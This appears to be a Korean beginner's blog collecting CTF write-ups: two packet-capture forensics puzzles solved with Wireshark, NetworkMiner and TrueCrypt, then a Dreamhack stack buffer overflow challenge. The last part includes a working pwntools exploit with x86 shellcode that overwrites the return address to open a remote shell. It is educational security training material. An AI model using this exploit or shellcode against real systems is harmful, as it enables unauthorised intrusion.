문제 파일로는 .pcap 파일 하나가 주어졌다.
Gregory가 어떻게 죽임당하는지를 알아내야하는 문제이다.
문제에서는 Gregory가 전화벨을 듣고 나서 Betty와 만날 수 밖에 없다는 것을 알게되었는데, 이를 생각해보면 문제의 방법은 음성 파일과 같은 형식으로부터 알아낼 수 있을 것이라고 추측된다.

그래서 혹시 이 문제 파일에 그러한 파일이 존재할지를 찾아보고자 [Protocol Hierarchy Statistics]로 패킷을 분석한 결과 MMS 관련 파일이 통신에 사용된 것을 확인하였다. 이를 마우스 우클릭으로 필터적용시켜 관련 패킷들이 어떠한 것인지를 살펴보면 MP4 패킷을 찾을 수 있다.

 

이 패킷의 TCP Stream을 따라가보면 실제로 mp4 파일이 있는 것을 알 수 있고, 이 mp4 파일 안에 단서가 있을 것으로 추측된다.

MP4 파일만을 카빙해내기 위해 이 패킷을 별도로 저장한다.
MP4 파일을 카빙해낸 후 이를 직접 재생해봐야 하기 때문에 raw 형식으로 저장하도록 한다.

파일의 raw를 편집할 수 있는 HxD를 열어 MP4 파일의 시그니처를 찾는다.
MP4 file Signature : 00 00 00 18 66 74 79 70

파일을 MP4 파일인것처럼 만들기 위해 이 Signature 이전에 존재하는 모든 데이터를 지운다.
그 후 확장자를 MP4로 바꿔주면 방금 전 파일이 MP4 파일로 인식되면서 재생할 수 있는 동영상으로 바뀐다.

이를 재생시켜보면 주인공이 어떻게 죽임당할 수 있는지에 대해 알 수 있게 된다.

문제에서 주어진 파일은 .pcap 파일 하나이다.
일단 WireShark를 이용하여 이들이 만날 도시가 어디인지를 어떤 식으로 분석할 수 있을지 확인해보자.

이 문제에서 주인공은 Betty와 Gregory인데, 이들 간의 통신이 어떠한 방식으로 이루어졌는지는 곧바로 알 수 없는 상태이며, 육안으로 봤을 때는 TCP protocol이 많이 사용되고 있는 것을 알 수 있다.
이러한 상황에서 두 주인공 간의 통신 내용을 확인해야 그 안에서 만나기로 한 장소가 어딘지를 찾을 수 있을 것이다.

무작정 위 리스트를 찾기보다 패킷의 트래픽을 살펴보기 위해 [Statistics] - [Conversations] 메뉴를 이용하겠다.
여기서 TCP가 주로 사용되고 있으므로 이에 대한 분석이 도움이 될 것 같다.

전송된 바이트수를 기준으로 정렬했을 때 192.29.1.50의 1024 포트로 매우 많은 바이트의 통신이 이루어졌음을 알 수 있다.
이 부분을 Follow Stream 해보자.

이것을 보고 어떠한 정보를 알아낼 수 있겠는가(이러한 행위를 카빙이라고 한다더라)... 포렌식 초보는 그런것 할 줄 모른다^^..

패킷을 분석할 때 많이 사용하는 또 다른 도구로 NetworkMiner라는 것이 있다고 하여 이를 사용하여 다시 한 번 확인해보았다.
그리고 감사하게도 두 주인공의 대화내용까지 곧바로 확인할 수 있도록 다 분석해주었다ㅠㅜ

NetworkMiner 2.7.1

- NetworkMiner : 패킷에 존재하는 데이터들을 카빙, 정렬해주는 프로그램. 암호화된 패킷을 복구해준다.
(Free edition과 Professional edition이 존재한다. 여기서 사용한 것은 free edition이다.)

 대화 내용을 확인해보면 Betty가 이전 약속에서 노쇼를 했나보다. 그래서 새롭게 약속 장소를 알려주는데 이에 대한 힌트로 password와 DCC protocol의 SEND를 이용하여 어떤 파일을 보낸다.

- DCC(Direct Client-to-Client) : IRC protocol의 서브 프로토콜.
채팅에 사용되던 IRC protocol과 비슷하지만 조금 다르게, 파일 교환이나 비채팅 방식의 대화에서 주로 사용된다고 한다.
특히 여기서 사용된 DCC SEND의 경우 전송 형식은 다음과 같다.

DCC SEND <filename> <ip> <port> <file size>

이를 참고하면 Betty는 1024 포트로 819200 사이즈의 파일을 보낸 것이다.
1024 포트가 왠지 익숙한데, 이는 아까 Conversation 분석에서 가장 많은 바이트를 전송했던 포트 넘버였다.
그 포트로 전송된 내용 중에 819200 사이즈의 파일을 추출해보자.

다시 WireShark로 돌아와, 1024 포트에서 Follow Stream 하여 얻은 내용을 파일로 추출하기 위해 Raw 형식으로 바꾼 뒤에 819200 사이즈만큼을 선택하여 저장한다.

저장한 파일을 열어보면 파일의 Signature를 확인할 수 없어 어떤 형식의 파일인지 도통 알 수가 없다.
Betty가 password를 함께 보내줬던 것을 떠올려보면 이 password를 이용해야 파일 내용을 제대로 확인할 수 있을 것 같다.
비밀번호를 사용하는 방식의 암호화가 되어 있는 것 같은데..

초보는 도무지 알 길이 없어 도움의 손길을 받은 끝에..
이렇게 헤더 Signature가 없고 비밀번호와 연관되어 있다는 특징을 가진 경우는 TrueCrypt로 암호화된 파일일 가능성이 있다고 한다.

- TrueCrypt : 메모리에 보안영역을 생성하여 이곳에 자료를 저장하는 것으로 자료유출로 인한 피해를 막을 수 있게 하는 프로그램.
암호화된 파일을 비밀번호와 함께 mount 해서 로컬 디스크 드라이브에 접근하는 것 마냥 사용할 수 있게 해준다.

이미 이 파일은 암호화가 되어 있고 이를 주어진 password를 이용하여 mount 시키면 로컬 디스크 드라이브인 것 마냥 이 파일을 읽을 수 있게 된다. 당장 사용해보았다.

mount할 드라이브를 (아무거나) 선택한 뒤 Betty가 줬던 패스워드와 함께 mount시킨다.

AES 알고리즘으로 암호화가 되어있던 파일이었나보다.
이를 더블클릭하면 원본 파일을 확인할 수 있다.

약속 장소는 LAS VEGAS 였다. ㅎㅎ

문제 정보

dreamhack.io 서버에서 작동하고 있는 서비스의 소스 코드와 바이너리가 주어질 때
이것의 취약점을 찾고 쉘을 획득해 flag를 얻는 문제
( https://dreamhack.io/wargame/challenges/2/ )

1. 코드 분석

int main(int argc, char *argv[]){
	char buf[0x80];

	initialize();

	printf("buf = (%p)\n", buf);
	scanf("%141s", buf);

	return 0;
}

main 코드만 가져왔다. 전체 코드가 궁금하면 직접 문제 파일을 확인해보면 된다.
0x80 크기를 갖는 buf 지역변수를 선언했고, 이 변수의 주소를 화면상에 보여준다.
그리고 곧바로 입력을 받는데, 최대 141개의 문자를 입력받을 수 있다. 이 코드로 쉘을 획득해야 된다.

2. 공격 시나리오

우선 쉘을 획득하기만 하면 그것을 이용하여 flag을 얻는 것은 간단하므로 쉘을 어떻게 획득할지만 생각해보면 된다.
이 문제에서 활용할 수 있는 것은 buf의 주소와 이 변수에 값을 입력할 수 있다는 것뿐이고, 그렇기 때문에 입력값을 조작하여 쉘을 실행시키도록 exploit을 작성하는 쪽으로 할 수밖에 없을 것 같다.

쉘을 얻으려면 쉘 코드를 실행하도록 해야 될 것 같다. 쉘 코드란 쉘을 실행하도록 하는 코드를 실행파일로 만들어놓은 것이고, 만들기 나름이겠지만 간단하게 25byte 내외의 문자열 형태로 얻을 수 있다.

여기서 또한 buf의 주소를 알 수 있으므로 buf에 쉘 코드를 저장한 뒤 RET 값을 buf의 주소로 변조시키면 프로그램 실행이 끝난 후 buf 주소에 있는 쉘 코드가 실행될 것임을 짐작할 수 있다.

3. Exploit 작성

from pwn import *

r = remote('host', port)

dest = r.recvuntil("buf = (")
dest = int(r.recv(10), 16)
sh = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

pay = sh + b"\x90" * (0x84-len(sh)) + p32(dest)

r.sendline(pay)
r.interactive()

(문제에 집중하기 위해 쉘 코드는 퍼온 것인데, 나중에 직접 만들어보는 것도 해봐야겠다.)
쉘 코드를 먼저 넣고 그 이후는 stack overflow 공격으로 RET값을 변조시키는 것과 동일하게 하면 된다.
여기서 다만 이전과 다른 점은 NOP Sled 기법이 등장했다는 것이다.

  • NOP Sled: NOP(\x90)은 아무것도 하지 않는 명령어인데, 이것을 실행시키기 원하는 부분의 앞 또는 뒤에 덧붙이는 것
  • 실행하고자 하는 부분의 정확한 주소 값을 얻어내기 어려울 경우 이것의 근방에 NOP을 덧붙여서, 그 부분에 접근할 수 있도록 하는 주소의 범위를 넓히기 위함이다. 정확한 주소 값을 몰라도 정해준 범위 안의 주소이기만 하면 NOP을 따라가다가 실행 명령 부분을 만났을 때 실행되도록 할 수 있어 exploit의 성공확률을 높여준다.

여기서는 정확한 buf의 주소를 알려주기 때문에 NOP Sled를 사용하지 않고도 풀 수 있지만.. 그리고 채운 문자가 NOP이라서 그렇지 사실 NOP Sled의 효과를 느끼기 미미하게 만든 exploit이긴 하지만, 나중에 주소를 정확히 알 수 없는 경우에는 유용하게 쓰일 기법일 것 같다.

이 밖에 문제 풀면서 삽질한 부분...

  1. recv()로 받아온 buf의 주소를 패킹하기 위해 int로 변환하는 함수: int(데이터, 바꾸고자 하는 진법)
    : 정수형으로 바꾸고는 싶은데 여기서 필요한 값은 16진수 int형이었다. 10진수 int형으로 형 변환할 때에는 단순히 int(데이터)만 해주면 되는데, 10진수가 아닌 다른 형태의 int형 데이터를 얻고 싶을 경우에는 두 번째 인자로 해당 진법을 적어주면 된다.!!!
  2. 쉘 코드가 단순히 쉘을 실행하도록 하는 명령의 코드라고는 하지만 모두 다 같은 것이 아니었다..
    쉘 코드를 입력시킬 함수를 어떤 것을 쓰느냐에 따라 달라질 수 있고, 환경에 따라 또 달라질 수 있는 것이었다.
    여기서는 특히 공백 같은 거에 예민한 scanf로 입력을 받기 때문에 이에 맞는 쉘 코드가 필요했다.
    이것도 모르고 다 같은 줄 알고 있다가... 삽질을 좀 많이 했었다..ㅜㅜ

4. Exploit 실행 및 결과

쉘이 잘 얻어지고 flag도 획득할 수 있었다고 한다.

+ Recent posts